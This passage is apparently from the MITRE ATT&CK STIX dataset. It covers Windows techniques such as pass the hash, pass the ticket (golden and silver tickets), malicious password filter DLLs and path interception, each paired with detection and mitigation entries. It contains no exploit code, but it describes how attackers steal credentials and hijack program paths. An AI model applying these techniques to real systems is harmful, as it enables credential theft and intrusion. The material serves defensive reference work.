                "Windows Registry",
                "File monitoring"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Pass the Hash Mitigation",
            "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1075",
                    "external_id": "T1075"
                },
                {
                    "source_name": "GitHub IAD Secure Host Baseline UAC Filtering",
                    "description": "NSA IAD. (2017, January 24). Secure-Host-Baseline/Windows/Group Policy Templates/en-US/SecGuide.adml. Retrieved December 18, 2017."
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:59.339Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Pass the Hash",
            "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as target system\n\nContributors: Travis Smith, Tripwire",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1075",
                    "external_id": "T1075"
                },
                {
                    "source_name": "NSA Spotting",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2013, December 16). Spotting the Adversary with Windows Event Log Monitoring. Retrieved November 12, 2014.",
                    "url": "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "Authentication logs"
            ],
            "x_mitre_system_requirements": [
                "Requires Microsoft Windows as target system"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Pass the Ticket Mitigation",
            "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1097",
                    "external_id": "T1097"
                },
                {
                    "source_name": "ADSecurity AD Kerberos Attacks",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "url": "https://adsecurity.org/?p=556"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:11.623Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Pass the Ticket",
            "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.\n\nContributors: Ryan Becwar, Vincent Le Toux",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1097",
                    "external_id": "T1097"
                },
                {
                    "source_name": "ADSecurity AD Kerberos Attacks",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "url": "https://adsecurity.org/?p=556"
                },
                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."
                },
                {
                    "source_name": "Campbell 2014",
                    "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.",
                    "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
                },
                {
                    "source_name": "GentilKiwi Pass the Ticket",
                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
                    "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Ryan Becwar",
                "Vincent Le Toux"
            ],
            "x_mitre_data_sources": [
                "Authentication logs"
            ],
            "x_mitre_system_requirements": [
                "Requires Microsoft Windows as a target system and Kerberos authentication enabled."
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Password Filter DLL Mitigation",
            "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\\Windows\\System32\\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>.  (Citation: Microsoft Install Password Filter n.d)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1174",
                    "external_id": "T1174"
                },
                {
                    "source_name": "Microsoft Install Password Filter n.d",
                    "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Password Filter DLL",
            "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)\n\nDetection: Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1174",
                    "external_id": "T1174"
                },
                {
                    "source_name": "Carnal Ownage Password Filters Sept 2013",
                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
                    "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html"
                },
                {
                    "source_name": "Clymb3r Function Hook Passwords Sept 2013",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_data_sources": [
                "DLL monitoring",
                "Windows Registry",
                "Process monitoring"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--e0703d4f-3972-424a-8277-84004817e024",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Path Interception Mitigation",
            "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\\Windows\\</code>, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1034",
                    "external_id": "T1034"
                },
                {
                    "source_name": "Microsoft CreateProcess",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425"
                },
                {
                    "source_name": "MSDN DLL Security",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ff919712.aspx"
                },
                {
                    "source_name": "Kanthak Sentinel",
                    "description": "Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.",
                    "url": "https://skanthak.homepage.t-online.de/sentinel.html"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:36.140Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Path Interception",
            "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n===Unquoted Paths===\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.\n\n===PATH Environment Variable Misconfiguration===\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n===Search Order Hijacking===\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1034",
                    "external_id": "T1034"
                },
                {
                    "source_name": "TechNet MS14-019",
                    "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.",
                    "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/"
                },
                {
                    "source_name": "Microsoft Subkey",
                    "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.",
                    "url": "http://support.microsoft.com/KB/103000"
                },
                {
                    "source_name": "Baggett 2012",
                    "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.",
                    "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"
                },
                {
                    "source_name": "Microsoft CreateProcess",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425"
                },
                {
                    "source_name": "Hill NT Shell",
                    "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.",
                    "url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120"
                },
                {
                    "source_name": "Microsoft WinExec",
                    "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/ms687393"
                },
                {
                    "source_name": "MSDN Environment Property",
                    "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring"
            ],
            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
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            ],
            "x_mitre_effective_permissions": [
                "User",
                "Administrator",
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            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Peripheral Device Discovery Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1120",
                    "external_id": "T1120"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:28.471Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Peripheral Device Discovery",
            "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nPermissions Required: User, Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1120",
                    "external_id": "T1120"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Permission Groups Discovery Mitigation",
